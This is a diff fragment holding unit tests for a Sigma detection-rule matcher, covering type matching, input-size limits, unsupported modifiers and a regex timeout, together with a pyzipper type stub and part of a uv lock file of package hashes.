self.assertFalse(matcher.search({"status": "200"}))
|
||||||
|
self.assertFalse(matcher.search({"status": 200, "absent": "value"}))
|
||||||
|
|
||||||
|
def test_numeric_and_boolean_lists_preserve_types(self) -> None:
|
||||||
|
numeric = SigmaMatcher.from_yaml(rule(" s: {status: 403}\n condition: s\n"))
|
||||||
|
self.assertTrue(numeric.search({"status": [200, 403]}))
|
||||||
|
self.assertFalse(numeric.search({"status": ["403", True]}))
|
||||||
|
boolean = SigmaMatcher.from_yaml(rule(" s: {enabled: true}\n condition: s\n"))
|
||||||
|
self.assertTrue(boolean.search({"enabled": [False, True]}))
|
||||||
|
self.assertFalse(boolean.search({"enabled": [0, 1, "true"]}))
|
||||||
|
|
||||||
|
def test_limits_cannot_be_skipped_by_service_or_short_circuit(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(
|
||||||
|
rule(" s: {status: 200, uri: '*'}\n condition: s\n", " service: http_access\n")
|
||||||
|
)
|
||||||
|
for event in (
|
||||||
|
{"kind": "syslog", "raw": "x" * 1048577},
|
||||||
|
{"kind": "http_access", "status": 404, "uri": ["x" * 1048577]},
|
||||||
|
):
|
||||||
|
with self.subTest(kind=event["kind"]), self.assertRaises(SigmaEvaluationLimit):
|
||||||
|
matcher.search(event)
|
||||||
|
with self.assertRaises(SigmaEvaluationLimit):
|
||||||
|
matcher.search({"kind": "syslog"}, ["x" * 1048577])
|
||||||
|
|
||||||
|
def test_unused_metadata_is_not_traversed_and_used_lists_are_bounded(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(rule(" s: {status: 200}\n condition: s\n"))
|
||||||
|
self.assertTrue(matcher.search({"status": 200, "unrelated": ["x" * 1048577]}))
|
||||||
|
with self.assertRaises(SigmaEvaluationLimit):
|
||||||
|
matcher.search({"status": [200] * 10001})
|
||||||
|
|
||||||
|
def test_decoded_views_preserve_positive_and_negative_structured_context(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(
|
||||||
|
rule(
|
||||||
|
" s: {raw|contains: suspicious, uri|startswith: /vpn/}\n"
|
||||||
|
" excluded: {source_ip: '192.0.2.5'}\n"
|
||||||
|
" condition: s and not excluded\n"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
event = {"raw": "encoded", "uri": "/vpn/check", "source_ip": "192.0.2.6"}
|
||||||
|
hits = matcher.search_with_details(event, ["suspicious"])
|
||||||
|
self.assertEqual(hits[0]["basis"], ["decoded:0"])
|
||||||
|
self.assertFalse(matcher.search({**event, "source_ip": "192.0.2.5"}, ["suspicious"]))
|
||||||
|
self.assertFalse(matcher.search({**event, "uri": "/health"}, ["suspicious"]))
|
||||||
|
|
||||||
|
def test_explicitly_unsupported(self) -> None:
|
||||||
|
for modifier in ("base64", "cidr", "exists", "fieldref", "cased"):
|
||||||
|
with self.subTest(modifier=modifier), self.assertRaises((UnsupportedSigma, ValueError)):
|
||||||
|
SigmaMatcher.from_yaml(rule(f" s:\n raw|{modifier}: abc\n condition: s\n"))
|
||||||
|
with self.assertRaises(UnsupportedSigma):
|
||||||
|
SigmaMatcher.from_yaml(rule(" s: [abc]\n condition: s\n", " service: windows\n"))
|
||||||
|
with self.assertRaises(UnsupportedSigma):
|
||||||
|
SigmaMatcher.from_yaml(
|
||||||
|
rule(" s: [abc]\n condition: s\n").replace("netscaler", "windows")
|
||||||
|
)
|
||||||
|
with self.assertRaises(UnsupportedSigma):
|
||||||
|
SigmaMatcher.from_yaml("title: Unsupported\ncorrelation: {type: event_count}\n")
|
||||||
|
with self.assertRaises(UnsupportedSigma):
|
||||||
|
SigmaMatcher.from_yaml(rule(" s: &selector [abc]\n condition: s\n"))
|
||||||
|
with self.assertRaises(UnsupportedSigma):
|
||||||
|
SigmaMatcher.from_yaml(rule(" s: [abc]\n s: [def]\n condition: s\n"))
|
||||||
|
|
||||||
|
def test_timeout(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(
|
||||||
|
rule(" s: {raw|re: '(a+)+$'}\n condition: s\n"), timeout=0.00001
|
||||||
|
)
|
||||||
|
with self.assertRaises(TimeoutError):
|
||||||
|
matcher.search({"raw": "a" * 50000 + "!"})
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
"""Narrow pyzipper API used by extraction and encrypted archive tests.
|
||||||
|
|
||||||
|
The constructor signature and WZ_AES constant are checked against pyzipper 0.4.0.
|
||||||
|
Inherited ZipFile methods describe the compatible read/write interface.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from os import PathLike
|
||||||
|
from typing import IO, Literal
|
||||||
|
from zipfile import ZipFile
|
||||||
|
|
||||||
|
WZ_AES: Literal["WZ_AES"]
|
||||||
|
|
||||||
|
class AESZipFile(ZipFile):
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
file: str | PathLike[str] | IO[bytes],
|
||||||
|
mode: Literal["r", "w", "x", "a"] = ...,
|
||||||
|
compression: int = ...,
|
||||||
|
allowZip64: bool = ...,
|
||||||
|
compresslevel: int | None = ...,
|
||||||
|
*,
|
||||||
|
strict_timestamps: bool = ...,
|
||||||
|
encryption: str | None = ...,
|
||||||
|
encryption_kwargs: dict[str, int] | None = ...,
|
||||||
|
) -> None: ...
|
||||||
@@ -0,0 +1,996 @@
|
|||||||
|
version = 1
|
||||||
|
revision = 3
|
||||||
|
requires-python = ">=3.14"
|
||||||
|
resolution-markers = [
|
||||||
|
"python_full_version >= '3.15'",
|
||||||
|
"python_full_version < '3.15'",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ast-serialize"
|
||||||
|
version = "0.11.2"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/54/1e/4f6082cdd6e5a29093513e9a3eabc5ed1c5331a9a84386b2fece80a00a48/ast_serialize-0.11.2.tar.gz", hash = "sha256:976a5bd75845d22f4b52905ddf53ab669ef1b14dba7735f5512841a2ef2b5450", size = 954387, upload-time = "2026-09-13T18:48:55.673Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a3/2e/beec3364eef4b01793a676d8cd16e9014c42044a5505000ceae3955e33fa/ast_serialize-0.11.2-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:f6a8dfc5ab204a706f6e5d39c6f77c18c27ef084fa2081803a64a9160ce89277", size = 897089, upload-time = "2026-09-13T18:47:22.69Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/6f/d7/ef56443df2891c6ba2c4019c2cb3dcaf97c9948da6d963068e04e8dac6ea/ast_serialize-0.11.2-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:cb073bfa15742699d408ac50f60878383b5665ae1791d1b6799ea6f08633cd77", size = 1235218, upload-time = "2026-09-13T18:47:24.541Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/42/8d/cff58d17ba1d0272ff0b7ab5d3bdfcf8f47317eb0f47c001d394bffebf95/ast_serialize-0.11.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1d6ad94edbe93bf1dabc06c9f37d55b898fdabc456aa6d7ced5e23c14f795f32", size = 1216399, upload-time = "2026-09-13T18:47:26.202Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/de/d2/a1da7675af5f42335c36e4da6d86ef4fd7168cead18de81df0a2d6faeb1a/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40b2801cf2221bd922d9f69d2f0ebc373c3db47207315d525b2d87fa161a2af4", size = 1282064, upload-time = "2026-09-13T18:47:27.787Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/97/89/5a400a13b2c9c0152ebb5ad45408a3fe5e4e60e325d3ac4e5cf6e915a0cc/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fd666cebd6ab3b3c0fd348a6202c26e18a401ee34293c3804d3472266bc146f6", size = 1285864, upload-time = "2026-09-13T18:47:29.667Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/02/b8/80a381c70fd49f0316fb0383c4f9e4c13e81b010b64889bd45898ce8f5f4/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0d01f61352c96370febf6c0dbd488dee9183a731fb2702170da9163ae317cded", size = 1554755, upload-time = "2026-09-13T18:47:31.257Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/90/97/dcaa34a32d2db789221c125b3eb10feb5089715fe53d9874d627afc26231/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a0fd40c668b0fa19b8fdb61d9e63d547e2e19cfbfe053a51ef0b6c37070298a8", size = 1301807, upload-time = "2026-09-13T18:47:32.714Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/5c/9a/84a22420cb312642d7d31547c644d09a3d101418c6d6b9ef2ec30735cf11/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:efa819d7c14c8e4153dcd84671826331538be7cbe460383fc6386f5eea5bd234", size = 1301941, upload-time = "2026-09-13T18:47:34.418Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/20/8a/aa5f3dcf1aed9678c25982f40d366004e3c0cac47bc0c240f6b837dcbb1f/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:a9ffa8a197a721f07a352d0be6185f5b3e6f9aaebfdb66169ed652108531ae3b", size = 1307910, upload-time = "2026-09-13T18:47:36.253Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/78/79/91a5102797fe3dc992171382d8579bcb33cbd1424b864ad3117ac43fb3fe/ast_serialize-0.11.2-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:00119a8fb8c1dc0f1fab023f4d8071fa49e3b0208ee54d589fd463c16ab0124e", size = 1356258, upload-time = "2026-09-13T18:47:37.984Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/51/52/54eeef9918e187ced417c4363eecea66975314cd5b9c91759eef7f7b714b/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0de02520c11391a026e62987a9aa2c3c2ff01545155059ddf0c4bdf2c5ecbe9f", size = 1459057, upload-time = "2026-09-13T18:47:39.891Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e4/cb/fd84b52b15d42f2423319cffd1fb7f1e9df5d5198e69ab0b449c450254cf/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:b4e4558956b6a0fb35e18fba58f7d1810b1f2c0e6b52352572cd5dfb6b4ef33a", size = 1562447, upload-time = "2026-09-13T18:47:41.727Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/be/92/9fb34f2e64b84a63cca92fb86bd0847b995a63b67477f44c20502fb60352/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:6061a54f39e82a9f2cbcb9c268fc441890e4818a6636473caa4f4063254e0750", size = 1556423, upload-time = "2026-09-13T18:47:43.357Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/75/0f/c43c44449e7ebc4e83ebd48750088fb06234622faa2d62d2a6dc8970d2a3/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:85fbb01e83967a126d71f679f2b9528ef0912cb0854aa1a4657314c34e255b57", size = 1687156, upload-time = "2026-09-13T18:47:44.995Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2b/a7/9e520f4a79b639da9ee20c1e747c3d739329e902fc55ac38065f25419f56/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:7aaaffc32905159774a107d3cf33dad59bd41b7a0d1bc9885532186753ee7439", size = 1481008, upload-time = "2026-09-13T18:47:46.602Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/48/a8/bdd3989f19de09cffcd8179c131f6741a5a8619705fc75b09541ff61530b/ast_serialize-0.11.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:08eda88a0f290a36c38cab33df8bf7e35eb95bc802ca5beb2c8fcda471a7d10c", size = 1501597, upload-time = "2026-09-13T18:47:48.265Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a5/8a/ca2dce2950875a4ef1d7c298196f803b0adcdb7c15ed0cecc71d84bccd70/ast_serialize-0.11.2-cp314-cp314t-win32.whl", hash = "sha256:76cc294246e60a914326b4ca88c6a5ea89c064906614aaf1537ce82f09e9449f", size = 1119503, upload-time = "2026-09-13T18:47:49.896Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/5a/12/3f38e3613d07c46f9f81c5b1352748c6552397cc52825502e2c6ae44c6ea/ast_serialize-0.11.2-cp314-cp314t-win_amd64.whl", hash = "sha256:43b51e6ebe6549bf21416c3c78ee886147b80875a87cc6f69e303dde0d75be0b", size = 1156828, upload-time = "2026-09-13T18:47:51.454Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/22/90/f89a4f67428a261daafdb69a0d0132c27933268702d1ba47e0b61c51aff1/ast_serialize-0.11.2-cp314-cp314t-win_arm64.whl", hash = "sha256:8df32ad4ff7843734a6c2f067ee974f6d3109ee5a2c3e1a9d2f79347bd282a9a", size = 1128298, upload-time = "2026-09-13T18:47:53.008Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0b/55/a1962188abf0e62d84d55892bb044347e434711763b9a1d4ad867a70c1be/ast_serialize-0.11.2-cp315-abi3.abi3t-macosx_10_12_x86_64.whl", hash = "sha256:ab924ba260efd7509492f272d4e236d24564033f20c005d7c63a107c6a76fc85", size = 1235457, upload-time = "2026-09-13T18:47:54.554Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2a/ad/439c2959150718446af76fbe2f4000f35eba9869ef8564f3d9a3d0b1c370/ast_serialize-0.11.2-cp315-abi3.abi3t-macosx_11_0_arm64.whl", hash = "sha256:a586be418eb70a9f1396cea29ddac8f4b9bf277fb73ea2340db31e218bc00f32", size = 1215705, upload-time = "2026-09-13T18:47:56.178Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/6d/d8/2c6542fc3e7c56a0a25d8d12d034d5a2d2e1900e292567b1c1dca8e83124/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8532f20916fa3189d4d785ef2a62d93c4d651ec9c5bffda66d2fc36898351f34", size = 1282530, upload-time = "2026-09-13T18:47:57.619Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/fa/ad/6f6755cd0842db46c3b10b1e4735f14aad78d71dea4753eb46933101711b/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ee732ae167e686d1d3c00f98d7d82b23138304694f0441b14d7ddf9c0f8a921c", size = 1287792, upload-time = "2026-09-13T18:47:59.227Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/03/40/5da672f5dd23fb7dc0c884c97711e56a3540f2fe3c4355a81f8beb385911/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:75a1c7f46b9c19fc0ae01ca6fd076301628faa2ed7a8edbd55c6353c483946a3", size = 1557971, upload-time = "2026-09-13T18:48:00.96Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/df/c7/2bb25684f697801eb72866fdb94ed5edbff3867ce878b0e542a4a5b9dab9/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2fdf31a0bb85ea2575cc91669f005e6647d2efed491231c4dc1497bc9a5b3aa6", size = 1303230, upload-time = "2026-09-13T18:48:02.337Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d8/85/754681846f26e0ff1da729b1ffe3171e93c22f0aa6ec3cea5b14e3703846/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b78e6fdef3b06c86ed263e1962fee5a7b9d2d158e738b212d13b2c605ee12f5", size = 1302271, upload-time = "2026-09-13T18:48:03.915Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/fb/dc/f5521d8cb44b69095c3982ae3658a12c403e0efa19e51aeb9c8a79dff60c/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_31_riscv64.whl", hash = "sha256:8d62a47714c8bc432b9fabcc29989c815c5da17327d35151f2fd0d85c2a7a5ff", size = 1309529, upload-time = "2026-09-13T18:48:05.562Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/73/0d/649182c7fd7c4f782279bed514de2dd67e48a5afecb605a098d64fdc01fd/ast_serialize-0.11.2-cp315-abi3.abi3t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8a5ffa70e76191dcf240d3c43e20c93b3bfd26f54d89148c762d57837f5bcd2c", size = 1356869, upload-time = "2026-09-13T18:48:07.534Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/bf/cc/aff4d84c16afa742d13a75384127c7d24594dc8c304f0558a15924fd51af/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_aarch64.whl", hash = "sha256:bfbe47a3a7c368f28836e78b2440a3643ac0ec4c67d9fe53588e1448f0a3d35d", size = 1460006, upload-time = "2026-09-13T18:48:09.162Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/94/a7/891cbec2e5e0d7159196159d3ff0646622f3120ff4576c839ac2dd56c719/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_armv7l.whl", hash = "sha256:7f1823275b246f9c7d373be6879e4eec09686948895d4ad083f4b27fd7e4da70", size = 1562935, upload-time = "2026-09-13T18:48:10.978Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/45/c4/2c8c4498340ea9aff87a9fd408309aa25d56dd51d7bbddfdb46a3c31424a/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_i686.whl", hash = "sha256:57c0f5cb0021a5beb1e5e4d6e840ae2f23a28909703ef4d256a144cc1ad3d437", size = 1557109, upload-time = "2026-09-13T18:48:12.616Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0d/8b/c5d4e5226fa18885fe17f949aee3ab1aeb8389c384d946ec1b7c9489cc94/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_ppc64le.whl", hash = "sha256:cd320a5c4f1f2742af97eea22954f776379175c5ef2504801e9a155f2ff9a4d7", size = 1691603, upload-time = "2026-09-13T18:48:14.293Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/73/d6/1d2ca472586f9e3416a289a22f36eeb6dd6f47d77b1a4aba358405babbc7/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_riscv64.whl", hash = "sha256:13b13afe32e845c86a573497729e1b7ddeb26c572c78bf50ece51da23b8fad5e", size = 1483053, upload-time = "2026-09-13T18:48:15.789Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0e/16/d3703a7c1e3c76b144ac9349a54d3926d0749918a8dc13a66cede208b8ec/ast_serialize-0.11.2-cp315-abi3.abi3t-musllinux_1_2_x86_64.whl", hash = "sha256:9d80a81ec84660422579bdb8e789f656a794b48c7a1ae1261f6bd8bc1897d17d", size = 1502499, upload-time = "2026-09-13T18:48:17.405Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2b/e4/d974e55c2e247ef26ed1df01c74940583db9a5b3a8bcaad5732c6e2047fb/ast_serialize-0.11.2-cp315-abi3.abi3t-win32.whl", hash = "sha256:af8c003ce721b0099dd55cef4ba733500fc3054ea0cc8565d8957aaf7cccdeb4", size = 1119739, upload-time = "2026-09-13T18:48:19.005Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0d/00/d229443488e095054d5e0c0cc20689a2633b899d735849ff1b2c8e4f0cbf/ast_serialize-0.11.2-cp315-abi3.abi3t-win_amd64.whl", hash = "sha256:554d117cb916d8032d85007c654d179efbbfd446174c048062778136a922944f", size = 1158602, upload-time = "2026-09-13T18:48:20.524Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/11/75/389fc1a6cfa0c4b2ce522f47d8401329d8bb11732e516d46465960fef1d9/ast_serialize-0.11.2-cp315-abi3.abi3t-win_arm64.whl", hash = "sha256:d60515335750d431e462af6e722bb55720a5e7827192777bddfd9c4376065a4d", size = 1128842, upload-time = "2026-09-13T18:48:22.052Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/45/7d/c4f36898f19c728d091cdfdf960c9488e8d82bbe2e49ba13c05f43907a5d/ast_serialize-0.11.2-cp315-cp315-pyemscripten_2026_5_wasm32.whl", hash = "sha256:89499a439955931281986e97ca4dd3c064bf0d2e0027c0017344eb86667733a1", size = 897204, upload-time = "2026-09-13T18:48:23.695Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b1/54/f67120006fc73a55b6d057d4662d061fbb4eceafce3047c76ca8b382eb11/ast_serialize-0.11.2-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:daadf1c3e0224621607ffe16f1379e4bd372271ed2e1db8a67878f0bab3ef7e4", size = 1240734, upload-time = "2026-09-13T18:48:25.287Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9a/7e/8f2ab68bddbe58a66fbbaad87beeae3e7d7edddb17263d1fc423936cf34d/ast_serialize-0.11.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:1844ed9a487fb3de7325c52ddb33f2918b66b65cd54d3f8d83d23785ffe99fa4", size = 1228053, upload-time = "2026-09-13T18:48:26.788Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d2/1b/8a69ab68f4c1603819f0481d756abdd8caf27cec7f1d77caa71007ebe997/ast_serialize-0.11.2-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b17869f4ba261a5fa468a753328a548f4dbaf74b4eadae9e28aff66df7f1425b", size = 1292542, upload-time = "2026-09-13T18:48:28.295Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d1/ce/872f2e00f0467c289e483f0a34543463347243a2d0632748d89fcee5e0dc/ast_serialize-0.11.2-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:feb16d9c2a720e0120c58dd5d6e7b3c7c86b43249b60a3bc212bcb8fa031e2dd", size = 1294791, upload-time = "2026-09-13T18:48:29.969Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/3a/82/36277c12af861c64b375c316135d8feffe3f400568463a8d2b2de4c2c4fb/ast_serialize-0.11.2-cp39-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f3109fe4805384effc8d0f8e41fbf875aa8f389af91b4348c1cfb60ea6e4cb82", size = 1567583, upload-time = "2026-09-13T18:48:31.85Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b0/d7/ec643df91cea8bcbcb4e8011d6a8b08e5119b84f9554879f3e3c786d29d1/ast_serialize-0.11.2-cp39-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:abdb3e49ba053c3486ac1263bee9f16cc9a4a8abd9f8c90bfc21e3669f3ad9d1", size = 1312878, upload-time = "2026-09-13T18:48:33.495Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/04/6f/4c992cd7841ba589fefb14ddc9aff2f6db7f2a615d4074f9ad04115b5ce0/ast_serialize-0.11.2-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a7004ba572f09be34342ccb98dcd4bad5707d3d81adc8cb4c3f685d2a2c51bbc", size = 1312642, upload-time = "2026-09-13T18:48:35.294Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d5/e3/22aaa209c231a83cfea004fd67dee7a7a54da3f169c6c460b14b96887385/ast_serialize-0.11.2-cp39-abi3-manylinux_2_31_riscv64.whl", hash = "sha256:59c25f47524efa052971b860e128b1add0c94ede7dd16b2962952c85c3582365", size = 1319776, upload-time = "2026-09-13T18:48:36.866Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c1/f7/d4685fb54d10108ce44d3bc893ef670854d61645d47ed96d73524db90c23/ast_serialize-0.11.2-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f3a367e0e05ed2d1b747ceb07aa728a8c204cc008b589127e9bd4f40053d7575", size = 1365324, upload-time = "2026-09-13T18:48:38.412Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/42/3a/250643ffad02bda520c50a9a5f02a5d43259a06f34ce393c91761d134d7e/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:00bbf1f6669f813b48925b759f7ae4591067d456d443924055cab386e7e0a719", size = 1467653, upload-time = "2026-09-13T18:48:40.348Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c7/da/af66a646b9b7f8fdec95ce83fc7b1fe538b06864bc79bd554ac4fae2e6ea/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:ec1c20f89c3e0d83576e3c06f79375ce936266591fe0d5fd969914af3185cbaa", size = 1571914, upload-time = "2026-09-13T18:48:41.968Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/34/82/77a9714564b9e8800087a8afec41527c65c39e49282baae2ac847b9c1c6a/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:c58bb119b73657fdc5569692f316e1e25ca114bd62f7782eb527c6be438ba3a9", size = 1569862, upload-time = "2026-09-13T18:48:43.701Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/65/06/fa77b52f46b9bd6dcd8ff2b880e3781f8c1a316bb1342bc3de92907c6f96/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_ppc64le.whl", hash = "sha256:f739e0b601be7300c5697a2573d9200bd1db74b34ab111ef9537b9d5dcd7f106", size = 1699020, upload-time = "2026-09-13T18:48:45.261Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e1/09/239c83153c7e0798e5867d6909cb06f53dccfef02f6999c8e2e21ecb98c3/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_riscv64.whl", hash = "sha256:cae5addfbb54cc1d47fe947ef9138e9d83849ed1cbc72b819cf36d96a2315b07", size = 1492869, upload-time = "2026-09-13T18:48:46.922Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2f/eb/6108fb9a43fc7ab5529856e38e33c6e3e064fbfe375fdcbb208c7cd5438d/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:2fa3be25f7f5351b1b39c9f8a52779b2dbf21199efbae564b4746422e8edca4e", size = 1511621, upload-time = "2026-09-13T18:48:48.667Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8a/82/60367e58ef346a41ebc90d3f28593c1b8f5c2cb5314c7b2bbd98910ee131/ast_serialize-0.11.2-cp39-abi3-win32.whl", hash = "sha256:d70556a2f9230a44c99a655774cde823f056efc34466eabfb4085f0cb1ea9f99", size = 1125873, upload-time = "2026-09-13T18:48:50.661Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/23/bf/b419c3205ce1143ba7c69baef4f0ba43c14d8712113bf34f9e0d27d609be/ast_serialize-0.11.2-cp39-abi3-win_amd64.whl", hash = "sha256:b9065dd23131a23b41f5bab3bf4e9b3c350a3fe8e36e8200eded9b729fcea484", size = 1165434, upload-time = "2026-09-13T18:48:52.169Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/91/a7/c8bbb2173f7a7131b3b2412035b2d814ab5ef2ce9799bd06f07c451640e4/ast_serialize-0.11.2-cp39-abi3-win_arm64.whl", hash = "sha256:dab599cbdcb7b45b18c41fad746645580b3a24357082b7f0e8921cd373804f27", size = 1136031, upload-time = "2026-09-13T18:48:54.04Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "brotli"
|
||||||
|
version = "1.2.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/f7/16/c92ca344d646e71a43b8bb353f0a6490d7f6e06210f8554c8f874e454285/brotli-1.2.0.tar.gz", hash = "sha256:e310f77e41941c13340a95976fe66a8a95b01e783d430eeaf7a2f87e0a57dd0a", size = 7388632, upload-time = "2025-11-05T18:39:42.86Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/17/e1/298c2ddf786bb7347a1cd71d63a347a79e5712a7c0cba9e3c3458ebd976f/brotli-1.2.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:6c12dad5cd04530323e723787ff762bac749a7b256a5bece32b2243dd5c27b21", size = 863080, upload-time = "2025-11-05T18:38:45.503Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/84/0c/aac98e286ba66868b2b3b50338ffbd85a35c7122e9531a73a37a29763d38/brotli-1.2.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:3219bd9e69868e57183316ee19c84e03e8f8b5a1d1f2667e1aa8c2f91cb061ac", size = 445453, upload-time = "2025-11-05T18:38:46.433Z" },
|
||||||
|
